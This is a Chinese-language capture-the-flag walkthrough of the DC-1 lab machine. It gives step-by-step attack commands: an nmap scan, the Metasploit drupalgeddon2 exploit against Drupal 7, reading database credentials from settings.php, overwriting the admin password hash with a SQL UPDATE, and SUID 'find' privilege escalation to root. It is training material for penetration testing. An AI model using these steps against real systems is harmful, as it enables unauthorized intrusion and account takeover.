靶场环境

局域网网段:192.168.47.0/24

攻击机 kali:192.168.47.128/24

目标器 DC-1:192.168.47.135/24

打靶目标

找到藏在DC-1靶机中的五个flag。

信息收集

已知目标机器与我们的攻击机在同一个网段,为192.168.47.0/24。

寻找靶机真实IP

利用nmap探测局域网内存活的主机

nmap -sP 192.168.47.0/24

已知kali机IP为192.168.47.128,所以目标机器IP为192.168.47.135

探测端口以及服务

nmap命令

nmap -A -p- -v 192.168.47.135

目标机器开放了22端口,开启远程连接服务。80端口,开启web服务,使用的框架为Drupal 7。111端口,开放了rpcbind服务。访问web站点

MSF渗透

百度Drupal 7版本存在很多漏洞,比如远程代码执行。正好Metersploit工具中有Drupal漏洞攻击模块。可以用此工具来进行攻击,拿到目标机器的shell。

拿到shell

msfconsole 

开启MSF工具控制台。

search Drupal 7

搜索框架历史漏洞。

之前网上百度该框架2018年爆出一个远程代码执行的CVE漏洞,那么就用此模块来打。选择此模块

use exploit/unix/webapp/drupal_drupalgeddon2

设置目标主机IP

set rhosts 192.168.47.135

然后执行exp攻击,拿到目标主机的shell。

python反弹交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

这行代码利用pty模块中的spawn函数,将当前程序的标准输入、输出和错误重定向到一个新的终端窗口中,从而获得一个交互式的shell环境。

寻找flag

发现flag1

在当前的web目录发现flag1.txt,打开获得提示。

提示我们查找配置文件,百度Drupal框架的配置文件在

/var/www/sites/default/settings.php

发现flag2

打开配置文件,发现flag2.

此外还有数据库的一些敏感信息,利用这些信息我们可以登录数据库。

登录数据库

查看user表发现admin的登录信息。

可惜管理员的密码被hash加密了。不过Drupal框架内设置了可以置换管理员密码的功能。相关链接:

http://drupalchina.cn/node/2128
置换管理员密码

在Drupal框架中有一个生成hash的脚本文件,我们可以将指定密码的hash值替换进去。

利用mysql的update更新语句将管理员密码替换为我们所设置的。

update users set pass="$S$D.hNM63.5sEpCaL0K/Qcv4LazQn0MuHsQcyCv8KUxVoAS1zfzwAV" where name="admin";

发现flag3

把管理员密码修改后直接登录网站。

直接登陆进后台,随便看看,找到flag3

下面文字提示我们要通过find命令来提权。

发现flag4

suid提权

在/home/flag4目录下发现flag4.txt,用cat查看提示说需要提权。

使用find命令查看设置有suid权限的可执行文件

find / -perm -4000 2>/dev/null

发现find命令设置有suid权限,用find来执行命令。

find / -name 111 -exec "whoami" \;

是root权限,直接开始提权。

提权成功为root

找到finalflag

切换到root目录,发现最后的flag,此时已经为最高权限,直接查看文件内容。

Well done!!!本靶场已经全部通关。